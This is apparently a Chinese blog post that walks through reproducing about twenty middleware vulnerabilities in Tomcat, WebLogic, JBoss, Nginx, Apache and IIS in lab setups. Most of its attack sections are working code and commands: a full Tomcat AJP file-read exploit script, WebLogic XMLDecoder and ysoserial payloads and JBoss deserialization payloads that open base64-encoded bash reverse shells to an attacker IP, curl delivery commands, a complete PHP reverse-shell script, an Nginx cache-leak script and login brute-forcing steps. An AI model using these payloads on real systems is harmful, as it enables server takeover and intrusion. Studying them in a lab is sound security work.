主頁 >  其他 > 常見中間件漏洞復現

常見中間件漏洞復現

2021-11-10 07:40:54 其他

目錄

    • Tomcat
      • 1. Tomcat 檔案上傳(CVE-2017-12615)
      • 2. Tomcat 代碼執行 (CVE-2020-1938)
      • 3. Tomcat弱口令登錄獲取后臺
    • Weblogic
      • 4. Weblogic反序列化漏洞獲取服務器權限(CVE-2018-10271)
      • 5. Weblogic反序列化漏洞實作反彈shel(CVE-2018-2628)
      • 6. Weblogic任意檔案上傳漏洞(CVE-2018-2894)
      • 7. Weblogic weak password
    • Jboss
      • 8. Jboss反序列化命令執行(CVE-2017-12149)
      • 9. Jboss反序列化(CVE-2017-7504)
    • Nginx
      • 10. Nginx檔案名邏輯漏洞(CVE-2013-4547)
      • 11. Nginx越界讀取快取(CVE-2017-7529)
      • 12. Nginx配置錯誤(insecure-configuration)
      • 13. Nginx決議漏洞(nginx_parsing_vulnerability)
    • Apache
      • 14. Apache多后綴決議漏洞(apache_parsing_vulnerability)
      • 15. Apache換行決議漏洞(CVE-2017-15715)
      • 16. Apache遠程命令執行漏洞(ssi-rce)
      • 17. Apache htaccess檔案上傳漏洞
      • 18. Apache、Nginx和IIS等.user.ini檔案上傳漏洞
    • IIS
      • 19. IIS 6.X決議漏洞
      • 20. IIS 7.X決議漏洞

Tomcat

1. Tomcat 檔案上傳(CVE-2017-12615)

  • 漏洞環境:線上環境 vulfocus
    漏洞的利用環境是Windows+Tomcat 7.0.x+組態檔readonly=false
    因為Tomcat將readonly設定為flase的時候,同時就開啟了對PUT方法的支持
    在這里插入圖片描述

  • 影響版本:Tomcat 7.0.0 - 7.0.81

  • 漏洞原理:
    org.apache.jasper.servlet.JspServlet:默認處理jsp,jspx檔案請求,不存在PUT上傳邏輯,無法處理PUT請求
    org.apache.catalina.servlets.DefaultServlet:默認處理靜態檔案(除jsp,jspx之外的檔案),存在PUT上傳處理邏輯,可以處理PUT請求,
    所以我們即使可以PUT一個檔案到服務器但也無法直接PUT以jsp,jspx結尾檔案,因為這些這些后綴的檔案都是交由JspServlet處理的,它沒法處理PUT請求,
    但是當我們利用Windows特性以下面兩種方式上傳檔案時,tomcat并不認為其是jsp檔案從而交由DefaultServlet處理,從而成功創建jsp檔案,

方法一:利用PUT方法上傳一句話木馬,給后綴后加“/”
在這里插入圖片描述冰蝎連接,連接成功
在這里插入圖片描述查看flag
在這里插入圖片描述方法二:
給后綴后加%20進行繞過
在這里插入圖片描述在這里插入圖片描述方法三:
給后綴后加::$DATA

在這里插入圖片描述
在這里插入圖片描述

2. Tomcat 代碼執行 (CVE-2020-1938)

  • 漏洞環境:
    拉取鏡像
docker pull duonghuuphuc/tomcat-8.5.32

在這里插入圖片描述運行鏡像并映射埠:

docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32

在這里插入圖片描述查看是否運行成功

docker ps

在這里插入圖片描述

  • 影響版本
    Apache Tomcat 6
    Apache Tomcat 7 < 7.0.100
    Apache Tomcat 8 < 8.5.51
    Apache Tomcat 9 < 9.0.31

  • 漏洞原理:

  • 漏洞復現:

  1. nmap掃描靶機是否開啟成功,以及埠開放的服務
    在這里插入圖片描述
  2. 使用大佬的POC
#!/usr/bin/env python
#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
        if s is None:
                return struct.pack(">h", -1)
        l = len(s)
        return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
        size = struct.calcsize(fmt)
        buf = stream.read(size)
        return struct.unpack(fmt, buf)
def unpack_string(stream):
        size, = unpack(stream, ">h")
        if size == -1: # null string
                return None
        res, = unpack(stream, "%ds" % size)
        stream.read(1) # \0
        return res
class NotFoundException(Exception):
        pass
class AjpBodyRequest(object):
        # server == web server, container == servlet
        SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
        MAX_REQUEST_LENGTH = 8186
        def __init__(self, data_stream, data_len, data_direction=None):
                self.data_stream = data_stream
                self.data_len = data_len
                self.data_direction = data_direction
        def serialize(self):
                data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
                if len(data) == 0:
                        return struct.pack(">bbH", 0x12, 0x34, 0x00)
                else:
                        res = struct.pack(">H", len(data))
                        res += data
                if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
                        header = struct.pack(">bbH", 0x12, 0x34, len(res))
                else:
                        header = struct.pack(">bbH", 0x41, 0x42, len(res))
                return header + res
        def send_and_receive(self, socket, stream):
                while True:
                        data = self.serialize()
                        socket.send(data)
                        r = AjpResponse.receive(stream)
                        while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
                                r = AjpResponse.receive(stream)

                        if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
                                break
class AjpForwardRequest(object):
        _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
        REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
        # server == web server, container == servlet
        SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
        COMMON_HEADERS = ["SC_REQ_ACCEPT",
                "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
                "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
                "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
        ]
        ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
        def __init__(self, data_direction=None):
                self.prefix_code = 0x02
                self.method = None
                self.protocol = None
                self.req_uri = None
                self.remote_addr = None
                self.remote_host = None
                self.server_name = None
                self.server_port = None
                self.is_ssl = None
                self.num_headers = None
                self.request_headers = None
                self.attributes = None
                self.data_direction = data_direction
        def pack_headers(self):
                self.num_headers = len(self.request_headers)
                res = ""
                res = struct.pack(">h", self.num_headers)
                for h_name in self.request_headers:
                        if h_name.startswith("SC_REQ"):
                                code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
                                res += struct.pack("BB", 0xA0, code)
                        else:
                                res += pack_string(h_name)

                        res += pack_string(self.request_headers[h_name])
                return res

        def pack_attributes(self):
                res = b""
                for attr in self.attributes:
                        a_name = attr['name']
                        code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
                        res += struct.pack("b", code)
                        if a_name == "req_attribute":
                                aa_name, a_value = attr['value']
                                res += pack_string(aa_name)
                                res += pack_string(a_value)
                        else:
                                res += pack_string(attr['value'])
                res += struct.pack("B", 0xFF)
                return res
        def serialize(self):
                res = ""
                res = struct.pack("bb", self.prefix_code, self.method)
                res += pack_string(self.protocol)
                res += pack_string(self.req_uri)
                res += pack_string(self.remote_addr)
                res += pack_string(self.remote_host)
                res += pack_string(self.server_name)
                res += struct.pack(">h", self.server_port)
                res += struct.pack("?", self.is_ssl)
                res += self.pack_headers()
                res += self.pack_attributes()
                if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
                        header = struct.pack(">bbh", 0x12, 0x34, len(res))
                else:
                        header = struct.pack(">bbh", 0x41, 0x42, len(res))
                return header + res
        def parse(self, raw_packet):
                stream = StringIO(raw_packet)
                self.magic1, self.magic2, data_len = unpack(stream, "bbH")
                self.prefix_code, self.method = unpack(stream, "bb")
                self.protocol = unpack_string(stream)
                self.req_uri = unpack_string(stream)
                self.remote_addr = unpack_string(stream)
                self.remote_host = unpack_string(stream)
                self.server_name = unpack_string(stream)
                self.server_port = unpack(stream, ">h")
                self.is_ssl = unpack(stream, "?")
                self.num_headers, = unpack(stream, ">H")
                self.request_headers = {}
                for i in range(self.num_headers):
                        code, = unpack(stream, ">H")
                        if code > 0xA000:
                                h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
                        else:
                                h_name = unpack(stream, "%ds" % code)
                                stream.read(1) # \0
                        h_value = unpack_string(stream)
                        self.request_headers[h_name] = h_value
        def send_and_receive(self, socket, stream, save_cookies=False):
                res = []
                i = socket.sendall(self.serialize())
                if self.method == AjpForwardRequest.POST:
                        return res

                r = AjpResponse.receive(stream)
                assert r.prefix_code == AjpResponse.SEND_HEADERS
                res.append(r)
                if save_cookies and 'Set-Cookie' in r.response_headers:
                        self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

                # read body chunks and end response packets
                while True:
                        r = AjpResponse.receive(stream)
                        res.append(r)
                        if r.prefix_code == AjpResponse.END_RESPONSE:
                                break
                        elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                                continue
                        else:
                                raise NotImplementedError
                                break

                return res

class AjpResponse(object):
        _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
        COMMON_SEND_HEADERS = [
                        "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
                        "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
                        ]
        def parse(self, stream):
                # read headers
                self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

                if self.prefix_code == AjpResponse.SEND_HEADERS:
                        self.parse_send_headers(stream)
                elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                        self.parse_send_body_chunk(stream)
                elif self.prefix_code == AjpResponse.END_RESPONSE:
                        self.parse_end_response(stream)
                elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
                        self.parse_get_body_chunk(stream)
                else:
                        raise NotImplementedError

        def parse_send_headers(self, stream):
                self.http_status_code, = unpack(stream, ">H")
                self.http_status_msg = unpack_string(stream)
                self.num_headers, = unpack(stream, ">H")
                self.response_headers = {}
                for i in range(self.num_headers):
                        code, = unpack(stream, ">H")
                        if code <= 0xA000: # custom header
                                h_name, = unpack(stream, "%ds" % code)
                                stream.read(1) # \0
                                h_value = unpack_string(stream)
                        else:
                                h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
                                h_value = unpack_string(stream)
                        self.response_headers[h_name] = h_value

        def parse_send_body_chunk(self, stream):
                self.data_length, = unpack(stream, ">H")
                self.data = stream.read(self.data_length+1)

        def parse_end_response(self, stream):
                self.reuse, = unpack(stream, "b")

        def parse_get_body_chunk(self, stream):
                rlen, = unpack(stream, ">H")
                return rlen

        @staticmethod
        def receive(stream):
                r = AjpResponse()
                r.parse(stream)
                return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
        fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
        fr.method = method
        fr.protocol = "HTTP/1.1"
        fr.req_uri = req_uri
        fr.remote_addr = target_host
        fr.remote_host = None
        fr.server_name = target_host
        fr.server_port = 80
        fr.request_headers = {
                'SC_REQ_ACCEPT': 'text/html',
                'SC_REQ_CONNECTION': 'keep-alive',
                'SC_REQ_CONTENT_LENGTH': '0',
                'SC_REQ_HOST': target_host,
                'SC_REQ_USER_AGENT': 'Mozilla',
                'Accept-Encoding': 'gzip, deflate, sdch',
                'Accept-Language': 'en-US,en;q=0.5',
                'Upgrade-Insecure-Requests': '1',
                'Cache-Control': 'max-age=0'
        }
        fr.is_ssl = False
        fr.attributes = []
        return fr

class Tomcat(object):
        def __init__(self, target_host, target_port):
                self.target_host = target_host
                self.target_port = target_port

                self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                self.socket.connect((target_host, target_port))
                self.stream = self.socket.makefile("rb", bufsize=0)

        def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
                self.req_uri = req_uri
                self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
                print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
                if user is not None and password is not None:
                        self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
                for h in headers:
                        self.forward_request.request_headers[h] = headers[h]
                for a in attributes:
                        self.forward_request.attributes.append(a)
                responses = self.forward_request.send_and_receive(self.socket, self.stream)
                if len(responses) == 0:
                        return None, None
                snd_hdrs_res = responses[0]
                data_res = responses[1:-1]
                if len(data_res) == 0:
                        print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
                return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    ])
print('----------------------------')
print("".join([d.data for d in data]))

  1. 存在漏洞
    在這里插入圖片描述

  2. 向web目錄寫入檔案
    在這里插入圖片描述可以在這里讀取web目錄下的檔案
    在這里插入圖片描述反彈shell:
    查看容器id

docker inspect -f '{{.ID}}' 1938

在這里插入圖片描述將反彈shell腳本復制到容器的ROOT目錄下

<%
        java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaC1pPiYgL2Rldi90Y3AvMTkyLjE2OC4zMC4xODkvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))≠-1{
                out.println(new String(b));
        }
        out.priny("</pre>");

%>

在這里插入圖片描述最后可能環境問題,沒能復現成功,可以看這篇博客AJP漏洞復現

  • 漏洞修復:

    1.臨時禁用AJP協議埠,在conf/server.xml組態檔中注釋掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” />
    2.更新tomcat版本
    在這里插入圖片描述

3. Tomcat弱口令登錄獲取后臺

爆破tomcat后臺密碼:

  1. 登錄抓包
    在這里插入圖片描述在這里插入圖片描述

可以看到登錄的用戶名及密碼經過base64加密
在這里插入圖片描述
2. intruder進行密碼爆破
指定爆破點
在這里插入圖片描述
payload型別:Custom iterator
在這里插入圖片描述添加爆破字典,這里用的Fuzz(可以到github去下載)
位置1:用戶名字典
在這里插入圖片描述位置2:連接符
在這里插入圖片描述位置3:密碼字典
在這里插入圖片描述根據資料包進行base64加密:
在這里插入圖片描述不進行url編碼
在這里插入圖片描述生產環境需要設定執行緒等選項,進行爆破
在這里插入圖片描述
具體復現可以查看前面的復現–tomcat漏洞復現

Weblogic

4. Weblogic反序列化漏洞獲取服務器權限(CVE-2018-10271)

訪問url:

http://192.168.30.209:7001/wls-wsat/CoordinatorPortType

在這里插入圖片描述
先用WeblogicScan工具進行掃描

在這里插入圖片描述

抓包構造payload(這里直接拿的大佬的payload)

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.30.209:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 639

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/192.168.30.182/9999 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

在這里插入圖片描述
成功反彈shell
在這里插入圖片描述

5. Weblogic反序列化漏洞實作反彈shel(CVE-2018-2628)

可以下載CVE-2018-2628工具包進行復現漏洞

  • 檢測環境是否存在CVE-2018-2628漏洞:
    修改目標url
    在這里插入圖片描述
    在這里插入圖片描述
    此處存在CVE-2018-2628漏洞

  • 啟動JRMP Server:
    [command] : 需要執行的命令
    [listen port] : JRMP Server監聽的埠,

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener [listen port] Jdk7u21 [command]
  • 執行反彈shell命令
    這里注意:由于函式Runtime.getRuntime().exec()不能使用管道符等bash需要的方法,所以我們需要進行一次編碼:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -i >& /dev/tcp/192.168.30.182/9999 0>&1'
#編碼后的命令:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjE4Mi85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}'

在這里插入圖片描述

在這里插入圖片描述

JRMP Server正在監聽8888埠

  • 生成payload
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.30.182:8888 | xxd -p | tr -d $'\n' && echo

在這里插入圖片描述

  • 替換weblogic_poc.py中的payload及ip
    在這里插入圖片描述
    在這里插入圖片描述

  • 運行腳本,成功反彈shell
    在這里插入圖片描述
    在這里插入圖片描述

6. Weblogic任意檔案上傳漏洞(CVE-2018-2894)

這個漏洞在前面博客已經復現,點擊此處查看

7. Weblogic weak password

  • Weblogic的密碼采用AES加密,對稱加密即可解密,秘鑰(/security/SerializedSystemIni.dat)與密文(/config/config.xml)都保存在base_domain/目錄下,SerializedSystemlni.dat檔案為二進制檔案,這里需要在burp中抓取,并保存成檔案
    在這里插入圖片描述
    查看秘鑰,秘鑰保存在,并將秘鑰保存為一個檔案(右擊Copy to file)
    在這里插入圖片描述
    查看密文,這里AES加密檔案很雜,一定要找正確
    在這里插入圖片描述

  • 使用工具進行解密,破解成功,密碼為:Oracle@123 用戶名默認為weblogic
    在這里插入圖片描述

  • 后臺上傳webshell
    拿到用戶名及密碼,但是登不上去,很尷尬(環境問題)
    在這里插入圖片描述
    后面的步驟找了一個大佬的博客
    在這里插入圖片描述
    步驟:域結構-部署-安裝-上傳檔案-將此部署安裝為應用程式

Jboss

8. Jboss反序列化命令執行(CVE-2017-12149)

  • 漏洞原理:
    反序列化遠程命令執行漏洞,在JBoss的HttpInvoker組件中的 ReadOnlyAccessFilter 過濾器中,doFilter方法會對來自客戶端的序列化資料進行反序列化,攻擊者可以構造惡意的序列化資料進行代碼執行

  • 利用工具:JavaDeserH2HC

  • 進行配置,并生成payload

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

在這里插入圖片描述

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.30.182:4444

在這里插入圖片描述

  • 將payload發送至invoker/readonly/目錄下
curl http://192.168.30.209:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

在這里插入圖片描述
反彈shell成功
在這里插入圖片描述

9. Jboss反序列化(CVE-2017-7504)

  • 漏洞原理:JBoss AS 4.x及之前版本,JbossMQ實作程序的JMS over HTTP Invocation Layer的HTTPServerILServlet.java檔案存在反序列化漏洞,攻擊者可以構造的序列化資料經反序列化后進行代碼執行,漏洞點出現在/jbossmq-httpil/HTTPServerILServlet請求中,借助ysoserial的CommonsCollections5利用鏈來復現

  • 生成Payload
    利用jar包生成一個success格式的payload

java -jar ysoserial.jar CommonsCollections5 "bash -i >& /dev/tcp/192.168.30.182/7777 0>&1" > poc.ser
#編碼后:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjE4Mi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

在這里插入圖片描述

  • 利用curl工具向jbossmq-httpil/HTTPServerILServlet 發送一個poc.ser請求
curl http://192.168.30.209:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser

在這里插入圖片描述
成功反彈shell
在這里插入圖片描述

Nginx

10. Nginx檔案名邏輯漏洞(CVE-2013-4547)

  • 漏洞原理:
    錯誤地決議了請求的URI,nginx匹配到.php后綴檔案會發送給fastcgi進行決議,常見寫法:
location ~ \.php$ {
    include        fastcgi_params;

    fastcgi_pass   127.0.0.1:9000;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
    fastcgi_param  DOCUMENT_ROOT /var/www/html;
}

正常情況(關閉pathinfo的情況),Nginx遇到.php后綴檔案,都會交給fastcig進行處理,但是在CVE-2013-4547漏洞的存在下,我們請求檔案phpinfo.jpg[0x20][0x00].php,這個URI匹配到正則表達.php$,會被當做php檔案處理,但是在fastcgi處理時,00截斷后面的字符,會對檔案phpinfo.jpg[0x20]進行決議,從而造成Nginx決議漏洞

  • 通過驗證,此處為黑名單過濾,過濾了php,php3,php5,phtml
    在這里插入圖片描述

  • 上傳時給檔案名后面加空格,上傳成功,并回傳上傳成功的路徑
    在這里插入圖片描述

  • 訪問檔案phpinfo.jpg[0x20][0x00].php時,上傳的phpinfo().jpg[0x20]會被當做php檔案進行決議,注意:這里可以利用brup選中[0x20]后面的16進制,改為[0x00]
    在這里插入圖片描述

  • 上傳反彈shell腳本,后綴為jpg[0x20]
    在這里插入圖片描述

反彈shell腳本

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.30.182';  
$port = 5555;       
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;


if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();

        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        }

        if ($pid) {
                exit(0);  // Parent exits
        }

        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
                exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}

?>
  • 訪問檔案shell.jpg[0x20][0x00].php
    在這里插入圖片描述
    成功反彈shell
    在這里插入圖片描述

11. Nginx越界讀取快取(CVE-2017-7529)

  • 漏洞介紹:
    Nginx進行反向代理時,通常會對一些檔案進行快取,特別是靜態檔案,在快取檔案中,具有檔案頭,HTTP回傳包頭,HTTP回傳包體,當用戶再次對服務器發起請求,服務器會直接將快取檔案發送給客戶端

  • 漏洞復現:
    訪問URL:http://192.168.30.209:8080/ 實際是訪問的nginx的8001埠
    在這里插入圖片描述
    使用大佬的POC

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)
  • 運行腳本,越界讀取快取檔案
    在這里插入圖片描述

12. Nginx配置錯誤(insecure-configuration)

可以看出,docker容器開啟后,這里開啟了8080-8082三個埠,這三個埠分別對應三個配置不當漏洞
在這里插入圖片描述
漏洞一:CRLF注入漏洞
在這里插入圖片描述

漏洞二:目錄穿越漏洞
在這里插入圖片描述

漏洞三:add_header被覆寫
在這里插入圖片描述

漏洞一:CRLF注入

  • 原理:CRLF:CR為回車符(%0d),LF為換行符(%0a),HTTP的規范中,行以CRLF結束,當遇見CRLF時后面的資料就會開啟另一行
  • 構造陳述句,會將Set-cookie: true=1寫到下一行,可以看到回包中有我們寫入的資料
    在這里插入圖片描述
  • 防御:過濾 \r、\n之類的行結束符,以防止用戶輸入的資料污染HTTP頭

漏洞二:目錄穿越漏洞

  • 經過對漏洞一的復現后,發現環境好像被搞壞了,也可是別的問題,進不去了,待后續配置環境,后面的復現看這位大佬博客

13. Nginx決議漏洞(nginx_parsing_vulnerability)

  • 漏洞原理:配置錯誤的情況,與nginx、php版本無關,配置項: cgi.fix_pathinfo=1,security.limit_extensions=允許決議其他格式為php,則存在決議漏洞,Nginx的決議流程:當nginx接收到/phpinfo.jpg/a.php檔案時,首先判斷后綴為php,則交給php處理,但是發現處理a.php時,a.php檔案不存在,所以就洗掉檔案a.php,然后去決議檔案phpinfo.jpg,當然想要將phpinfo.jpg檔案進行php決議,那么配置項就需要滿足前面說的那種配置

  • 上傳假圖片檔案,回包中可以看到上傳后的路徑及重命名的圖片名
    在這里插入圖片描述
    正常訪問上傳的檔案
    在這里插入圖片描述
    訪問上傳的假圖片時,給后面加/a.php,此時會把這個假圖片進行php決議
    以下鏈接會被決議為php格式

http://192.168.30.209/uploadfiles/b5f7a062d84869fe4f3af35b79fca50c.jpg/a.php

在這里插入圖片描述

  • 上傳反彈shell腳本
<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.30.182';  
$port = 5555;       
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;


if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();

        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        }

        if ($pid) {
                exit(0);  // Parent exits
        }

        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
                exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
